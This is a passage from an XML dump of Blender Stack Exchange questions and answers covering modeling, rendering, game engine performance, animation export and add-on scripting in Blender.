3.0" />
  <row Id="33770" PostTypeId="1" CreationDate="2015-07-10T21:08:49.487" Score="1" ViewCount="304" Body="&lt;p&gt;In the manual it says press &lt;kbd&gt;F9&lt;/kbd&gt; but I have tried that, and it doesn't work. I am trying to find this for the negative feature that meta-balls have.&lt;/p&gt;&#xA;" OwnerUserId="15106" LastActivityDate="2015-07-10T21:30:48.503" Title="Where do I find the metaball panel?" Tags="&lt;meta-objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33771" PostTypeId="2" ParentId="33770" CreationDate="2015-07-10T21:30:48.503" Score="1" Body="&lt;p&gt;When in edit mode open Metaball panel and scroll down to Active Element section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tEuHo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-07-10T21:30:48.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33772" PostTypeId="1" CreationDate="2015-07-10T21:43:26.657" Score="3" ViewCount="1599" Body="&lt;p&gt;I am making my first game in Blender, so being kind of newbie, but I notice that when I run it in the standalone player, it runs very slow and jerky (in the built-in also, but not as bad), like some hi-end fancy game, but it's simple and has a primitive graphic/texturing/shading, so why does it run so jerky?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I heard something about &quot;baking&quot;, to help it get rid of real-time processing and stuff if that's the problem, but if I want to bake an image, for example the grass field, it says &quot;No objects or images found to bake to&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be SO GLAD AND GRATEFUL if someone could help me. I like how I made this game so far, but this is a pain in the heart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much for your time!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some screens :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/N5GqF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lgc3N.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o2Y5c.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1EOhl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l3Z9L.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vpkmz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15563" LastEditorUserId="12805" LastEditDate="2015-07-10T23:33:58.123" LastActivityDate="2015-07-10T23:33:58.123" Title="Blender game runs very slow" Tags="&lt;rendering&gt;&lt;game-engine&gt;&lt;baking&gt;&lt;performance&gt;&lt;optimization&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33773" PostTypeId="1" CreationDate="2015-07-10T22:08:12.723" Score="1" ViewCount="58" Body="&lt;p&gt;I'm creating a player character asset in Blender for use in Unity. I'm separating the armor and weapons into separate objects and attaching them all to the same rig so they animate in sync. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that several animations are created for these objects which is annoying as they are all empty animations that add nothing to the asset. How do I delete these animations or, better yet, stop Blender from doing it in the first place?&lt;/p&gt;&#xA;" OwnerUserId="5806" LastActivityDate="2015-07-10T22:08:12.723" Title="Stop blender from creating redundant animations for each new object" Tags="&lt;animation&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33774" PostTypeId="2" ParentId="33772" CreationDate="2015-07-10T22:26:58.510" Score="3" Body="&lt;p&gt;You can always tell what it jacking up a game by turning on FrameRate/Profile, an option under the &quot;Game&quot; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In realtime, it will dynamically calculate how much time blender is spending on each part of the game, and you can see what is causing problems, and what could be beefed up without issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SiBRQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to go ahead and take a wild guess that your scene is slowed down by &quot;Rasterizer&quot; or the rendering process. Why is this? You used basic meshes, simple graphics, and easy shading. So what is causing this kink?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the lights! if each one of you trees has it's own separate light, thats a whole different set of the same graphics that blender has to calculate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You were right, fortunately, that this can be fixed &lt;em&gt;quite easily&lt;/em&gt; with &lt;a href=&quot;https://blender.stackexchange.com/questions/14416/what-does-baking-mean&quot;&gt;texture baking&lt;/a&gt;.&#xA;First of all, you will need to &lt;a href=&quot;https://blender.stackexchange.com/questions/23219/how-to-pick-target-texture-image-for-baking&quot;&gt;pick a target image&lt;/a&gt; that you want to bake your texture to. Then, under the render tab, hit bake. Once the bake is done, save it and apply it as a shadeless texture. All of the light will be on the ground, just like it was being actively rendered, but blender will be muuuuch happier. And we all know, when blenders happy, so are you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/13508/how-do-i-bake-a-texture-using-cycles-bake/13509#13509&quot;&gt;How do I bake a texture using Cycles bake&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-07-10T23:30:36.337" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="33775" PostTypeId="1" CreationDate="2015-07-10T22:31:29.653" Score="1" ViewCount="1148" Body="&lt;p&gt;I have a problem, I modelled and rigged a gun inside of Blender. Then merged it with some hands that were already rigged. I animated them inside of Blender with the Dope Sheet on Action mode.&#xA;To have them play the same animation together, I need to select both armatures and select the same animation and press play. If I only select one armature and change the 'action' they both play a different action.&lt;br&gt;&#xA;This Is not the biggest problem.&#xA;I want to import my model and animation to Unity, I use FBX to do that since it is the best possible option. Now to clarify some extra things, I have made 2 animations. One for firing, the other for idle.&#xA;Exporting it to FBX and importing it inside of Unity, gives me 4 animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k8h4D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can not animate them correctly this way, since Unity doesn't allow for 2 animations to be played at the same time. (Well they do, but this requires a lot of extra trickery to get it right. Since I'm also blending the animation for it to look smooth.)&#xA;How do I get Blender to get the animations together into one?&#xA;I've thought about not using the action editor and just animating one after another and splitting it inside of Unity. But I think that would generate two animations instead of one. How would I do this?&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="14515" LastActivityDate="2015-07-10T22:31:29.653" Title="FBX Export: How to merge animations of two different objects with both a different armature?" Tags="&lt;animation&gt;&lt;export&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33777" PostTypeId="1" AcceptedAnswerId="33960" CreationDate="2015-07-10T23:26:33.640" Score="4" ViewCount="750" Body="&lt;p&gt;I made a simple model (wanted to mess with physics and python scripting).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WE8KD.jpg&quot; alt=&quot;Boxy robot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's bunch of boxes held together with RigidiBody joint (6dof joints with all limits checked)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem - model falls apart in play mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x7d1o.jpg&quot; alt=&quot;Broken model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It DOES try to adhere to constraints, but after wobbling for a several seconds it eventually collapses, which is really disappointing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/9ltarj8xvb28hgy/walker.7z?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's the file.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to fix that (so it adheres to constraints PROPERLY) or should I try another software?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea was to try to make this thing walk using physical forces (exercise/fun, not a serious project)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The scene was tested on windows platform, 64bit blender 2.74 on 64bit windows 7.&lt;/p&gt;&#xA;" OwnerUserId="7889" LastEditorUserId="7889" LastEditDate="2015-07-12T23:47:27.027" LastActivityDate="2015-07-14T11:06:06.607" Title="Rigid Body Joint Constraints can't hold model together in game engine" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="33778" PostTypeId="1" AcceptedAnswerId="33789" CreationDate="2015-07-10T23:26:33.777" Score="1" ViewCount="920" Body="&lt;p&gt;I've been wondering how it's possible to nicely duplicate extrusions on an object's surface.  For example, if I had the following window:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/adfnm.png&quot; alt=&quot;mesh with one example inset face&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I suddenly had the idea to put another window on a different part of the surface, I couldn't just duplicated the vertices of the window, because it doesn't include it's interaction with the rest of the mesh.  It would just do this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eNGIV.png&quot; alt=&quot;mesh with example edges moved&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously if I was making a building with windows, I would plan ahead and make extra loop cuts for the windows I'm planning to put there, but sometimes after thoughts occur and knowing how to do this would also be very useful in other circumstances.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="2217" LastEditDate="2015-07-11T13:45:38.863" LastActivityDate="2015-07-11T16:19:17.403" Title="How to duplicate insets/extrusions on objects" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33779" PostTypeId="1" CreationDate="2015-07-11T00:07:53.653" Score="0" ViewCount="33" Body="&lt;p&gt;why does the message &quot;some data failed to reconstruct&quot; come up when i solve camera motion? Im working on a gaming montage, so what i did was use the dolly camera from Call of Duty Black ops 2  to create a cinematicand recorded it using a Hauppage. Now i followed the tutorial from blender guru &lt;a href=&quot;https://www.youtube.com/watch?v=CVPcT0dJmoY&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=CVPcT0dJmoY&lt;/a&gt; and at the part of adjusting focal length and sensory width i did not know what to do because the dolly camera is not an actual real camera with camera specs. &lt;/p&gt;&#xA;" OwnerUserId="15566" LastEditorUserId="15566" LastEditDate="2015-07-11T01:27:57.497" LastActivityDate="2015-07-11T01:27:57.497" Title="Motion Tracking" Tags="&lt;editing&gt;&lt;video&gt;&lt;tracking&gt;" AnswerCount="0" CommentCount="9" ClosedDate="2015-07-11T00:23:48.753" ContentLicense="CC BY-SA 3.0" />
  <row Id="33780" PostTypeId="1" AcceptedAnswerId="39756" CreationDate="2015-07-11T00:42:56.753" Score="4" ViewCount="847" Body="&lt;p&gt;In the node editor, I am looking for a way to get a random number (in &lt;code&gt;[0,1)&lt;/code&gt;) per ray.  The &lt;em&gt;object info&lt;/em&gt; node's &lt;em&gt;random&lt;/em&gt; output just gives a random number per object, the number never changes.  I am looking for a way to get a new number every time the shader is sampled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware of &lt;a href=&quot;https://blender.stackexchange.com/questions/5393/is-it-possible-to-get-a-random-number-in-the-node-editor&quot;&gt;this question&lt;/a&gt;, however that is not quite what I am looking for.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-10-10T00:32:46.593" Title="Can I get a new random number per ray in the node editor?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33781" PostTypeId="1" CreationDate="2015-07-11T00:45:18.077" Score="2" ViewCount="540" Body="&lt;p&gt;I cant see my gas station building while in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks good in edit mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vvj7c.png&quot; alt=&quot;looks good in edit mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But only dots are visible in object mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E9yJ6.png&quot; alt=&quot;can only see dots in object mode&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15567" LastEditorUserId="599" LastEditDate="2015-07-11T01:14:10.267" LastActivityDate="2015-07-11T01:29:24.460" Title="Object appears as orange points in object mode, but looks fine in edit mode" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="33783" PostTypeId="2" ParentId="33781" CreationDate="2015-07-11T01:11:39.390" Score="3" Body="&lt;p&gt;Your object has a halo material assigned to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change it to surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r5jYX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0W1Bm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(By the way you also have issues with overlapping surfaces causing z-fighting. Fix it by removing doubles. See this answer: &lt;a href=&quot;https://blender.stackexchange.com/a/21218/1853&quot;&gt;https://blender.stackexchange.com/a/21218/1853&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-07-11T01:29:24.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33784" PostTypeId="1" AcceptedAnswerId="33791" CreationDate="2015-07-11T01:28:53.577" Score="0" ViewCount="60" Body="&lt;p&gt;I want to write an add-on that can open a file opened with Blender (i.e. double clicked while Blender is the default program associated with the file format). That means Blender is opened with launch arguments holding the path to the opened file. This must work for file formats other than &lt;code&gt;.blend&lt;/code&gt;, such as &lt;code&gt;.fbx&lt;/code&gt;. In the Python code for an add-on, how can I access the path of the file opened with Blender. Or the arguments Blender launched with?&lt;/p&gt;&#xA;" OwnerUserId="743" LastActivityDate="2015-07-11T20:33:48.393" Title="In an add-on, receive the path to the file Blender was opened with or its launch arguments?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33785" PostTypeId="2" ParentId="33756" CreationDate="2015-07-11T02:17:31.953" Score="4" Body="&lt;p&gt;To fake relief on a surface you use a &lt;strong&gt;bump map&lt;/strong&gt;, where the bright parts of the images will look as if they are sticking out of the surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example in cycles. This plane with only 4 vertex shows fake relief.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qAELg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that this is just a texture and if you look at it from the side it reveals the lack of height or real geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PTc3F.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Blender internal the important setting is setting the &lt;strong&gt;normal&lt;/strong&gt; as influence for the texture's image.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jh7Xk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-11T04:15:04.397" LastActivityDate="2015-07-11T04:15:04.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33786" PostTypeId="2" ParentId="32355" CreationDate="2015-07-11T03:12:47.140" Score="3" Body="&lt;p&gt;There is no equivalent to Remove Doubles for Bezier Curves. This is likely due to the difference in the nature of Curves versus Meshes. As Denis stated, if the two points have different handle positions, how should this be, um, handled? ;-) Should the handle positions be averaged together? Also, Remove Doubles can just merge vertices based on a distance threshold no matter how many edges are connected to it, but Curves are fundamentally different since a point cannot have more than two segments connected to it. Simply put, Curves are linear while Meshes are non-linear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't necessarily mean such a feature couldn't be implemented, but it would have limited use cases, and for non-identical doubles it would have to make reaching assumptions about how you want your points merged. For example, if your Curve doesn't cross itself you may be alright, but if it does it could easily end up getting merged at the intersection and the path rerouted in an unexpected way. Here's a screen shot to illustrate what could happen hypothetically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C4xWQ.png&quot; alt=&quot;One possible undesirable effect that could occur if the Remove Doubles command were possible on Curves&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion, it could be useful in cases where the doubles lie right on top of one another, but at higher distance thresholds could produce unexpected results. Such a feature could be useful for certain situations, such as for removing points lying on top of one another that you can't see. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, you could find such disconnected points by selecting at least one point on each of your curve segments you intend to keep, using Select Linked &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;, Hiding them &lt;kbd&gt;H&lt;/kbd&gt;, then Select All &lt;kbd&gt;A&lt;/kbd&gt; and Delete &lt;kbd&gt;X&lt;/kbd&gt; the disconnected left-over points. Then Un-Hide &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; the segments you will keep.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2015-07-11T03:12:47.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33787" PostTypeId="1" AcceptedAnswerId="33790" CreationDate="2015-07-11T04:16:57.613" Score="13" ViewCount="13223" Body="&lt;p&gt;Why is the selected object displaying in the 3D view, but not rendering?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In object mode, it shows up:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0rAQc.png&quot; alt=&quot;object mode in 3D view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it does not show up in render mode: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/J5J5k.png&quot; alt=&quot;render view&quot;&gt;&lt;br&gt;&#xA;Why is this so and what causes it to hide in render mode?&lt;/p&gt;&#xA;" OwnerUserId="15394" LastEditorUserId="2217" LastEditDate="2015-07-11T13:21:56.977" LastActivityDate="2019-01-06T16:31:39.273" Title="Why is part of my model not being rendered?" Tags="&lt;rendering&gt;&lt;objects&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33788" PostTypeId="2" ParentId="33787" CreationDate="2015-07-11T04:25:09.320" Score="-3" Body="&lt;p&gt;Flip the direction of the normals on the torus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by selecting the object, entering Edit Mode, selecting all vertices, and then pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="15570" LastEditorUserId="2217" LastEditDate="2015-07-11T13:16:38.940" LastActivityDate="2015-07-11T13:16:38.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33789" PostTypeId="2" ParentId="33778" CreationDate="2015-07-11T04:53:45.653" Score="2" Body="&lt;p&gt;In the case you discuss, I'd duplicate the window, plus the surrounding four vertices, that is, the ones you used the inset tool to create the window from, so that you're copying 5 plane surfaces, instead of one. Then, delete the edge (and only the edge) behind the new location of the window&amp;mdash;that is, the edge in the green box,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZpnDH.png&quot; alt=&quot;adding new window&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which will have the result of deleting the two faces of which it is a defining component as well. If your copy of the window includes the four faces around the original window itself, then the fact that the illustration contains merely a rectangular outline of the new window suggests that after you made your new copy of the window by duplicating the desired vertices, edges or faces, you separated the duplicated elements into a new object by pressing the &lt;kbd&gt;P&lt;/kbd&gt; key, and choosing &quot;by selection&quot;. Otherwise, even in solid shading, you'd see all five faces in the new object, just as you do in the original window.. If this is the case, you need to select the new window and the old side you duplicated it from in object mode, and join them into the same object by pressing &lt;kbd&gt;CTRL&lt;/kbd&gt;-&lt;kbd&gt;J&lt;/kbd&gt;. Then create new faces around the new window as needed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique might result in some awkward geometry right around the new window, as shown,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WLzSD.png&quot; alt=&quot;new window geometry&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;complicating UV mapping, shading, and other bits, but if these become a major concern, they can be dealt with later, by deleting a larger part of your mesh, and redoing the geometry. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-07-11T16:19:17.403" LastActivityDate="2015-07-11T16:19:17.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33790" PostTypeId="2" ParentId="33787" CreationDate="2015-07-11T05:31:52.787" Score="21" Body="&lt;p&gt;There are a lot of reasons why this might be happening. While these may not be the reasons for why it's happening for you, it's a good place to start.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;h1&gt;Render visibility disabled in outliner&lt;/h1&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This is one of the most common reasons for something not appearing in a render.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BMEDC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Just make sure that this is always checked for any objects that you want to render.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;h1&gt;Blender Internal Specific Issues&lt;/h1&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;When working with Blender Internal, there are some issues with materials that could be causing your object not to show up in the render.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Qy3ip.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Having those settings in your material will cause the material to be completely transparent. Having a texture effect the alpha can also cause this.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;h1&gt;Cycles Specific Issues&lt;/h1&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There are a few ways an object can be accidentally hidden from a render in cycles.&lt;/p&gt;&#xA;&lt;p&gt;Probably the most common, is to accidentally uncheck camera from the ray visibility in the objects tab of the properties panel.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pnKld.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unchecking camera will basically make the object not show up in the image (although reflections, shadows, etc. may show up and the visibility of those can be controlled using the other checkboxes)&lt;/p&gt;&#xA;&lt;p&gt;In cycles, an object could also disappear from the render, if the material was transparent (contained a transparent shader).&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;h1&gt;Layers&lt;/h1&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The last major reason why an object might disappear from a render, is layers and renderlayers. Always make sure that the object that disappeared is on one of the currently viewed layers.&lt;/p&gt;&#xA;&lt;p&gt;For renderlayers, be sure that you have all of your scene layers selected. These are the same as your currently viewed layers, and are tied to them. If you select or deselect a layer from there, it will also be selected or deselected in the viewport.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bf7jA.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bf7jA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The layer section is where you include the layers that you want used in a specific renderlayer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ElQYP.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ElQYP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The last things to check is your exclude and mask groups. The exclude group simply excludes the contents of a layer completely. No lights or anything similar from those layers will be shown.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LAmgX.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LAmgX.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For mask groups, just make sure that you aren't masking out any of the layers that you want visible. If you have a mask layer enabled, it will automatically cut out any pieces of it that appear in a higher Z-Depth.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9brTB.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9brTB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-06-06T06:42:51.433" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="33791" PostTypeId="2" ParentId="33784" CreationDate="2015-07-11T07:29:33.387" Score="1" Body="&lt;p&gt;&lt;code&gt;bpy.context.blend_data.filepath&lt;/code&gt; - full path and name of opened &lt;code&gt;.blend&lt;/code&gt; file. I doubt there is something for imported files, because they are &quot;adding&quot; to scene, not &quot;opening&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For other arguments you can use standard recipe:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;for arg in sys.argv:&#xA;    print(arg)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="743" LastEditDate="2015-07-11T20:33:48.393" LastActivityDate="2015-07-11T20:33:48.393" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33792" PostTypeId="2" ParentId="33764" CreationDate="2015-07-11T07:54:02.943" Score="1" Body="&lt;p&gt;You can use custom properties &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy.props.html&quot; rel=&quot;nofollow&quot;&gt;bpy.props&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't see any benefit here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply parent your plane to an empty object. Use the empty to transform the plane and the z-location of the plane to translate the plane along its normal.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2015-07-11T07:54:02.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33793" PostTypeId="2" ParentId="33780" CreationDate="2015-07-11T08:20:08.797" Score="0" Body="&lt;p&gt;I think you have to combine as many inputs as possible for Noise texture with big scale: window coordinates, per-object random, object local and global coordinates, normal vector, frame number, etc, to get higher enthropy, and maybe this way you will get something close to what you want.&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="1486" LastEditDate="2015-07-11T19:48:16.013" LastActivityDate="2015-07-11T19:48:16.013" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="33794" PostTypeId="2" ParentId="33766" CreationDate="2015-07-11T08:49:42.257" Score="2" Body="&lt;p&gt;When a subsurface modifier is added to a model, the surface &quot;pulls away&quot; from the true vertices of the model. A small protrusion like you have will show an extreme case of this, while on the gentle curved area you can see a small gap between your vertices and the surface of your object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top of all modifier panels you will see buttons that control the display of the changes the modifier makes. The first two apply to the render and object mode viewport display, the last two show the effect in edit mode and the deformed edit mesh. All modifiers have the first two display options while some do not have the third or fourth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By enabling the last item (the triangle) your vertices will snap to the deformed surface. Disabling the third button (the cube and vertices) will hide the deformed mesh so you can only see the true vertex and face positions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JmYFa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-07-11T08:49:42.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
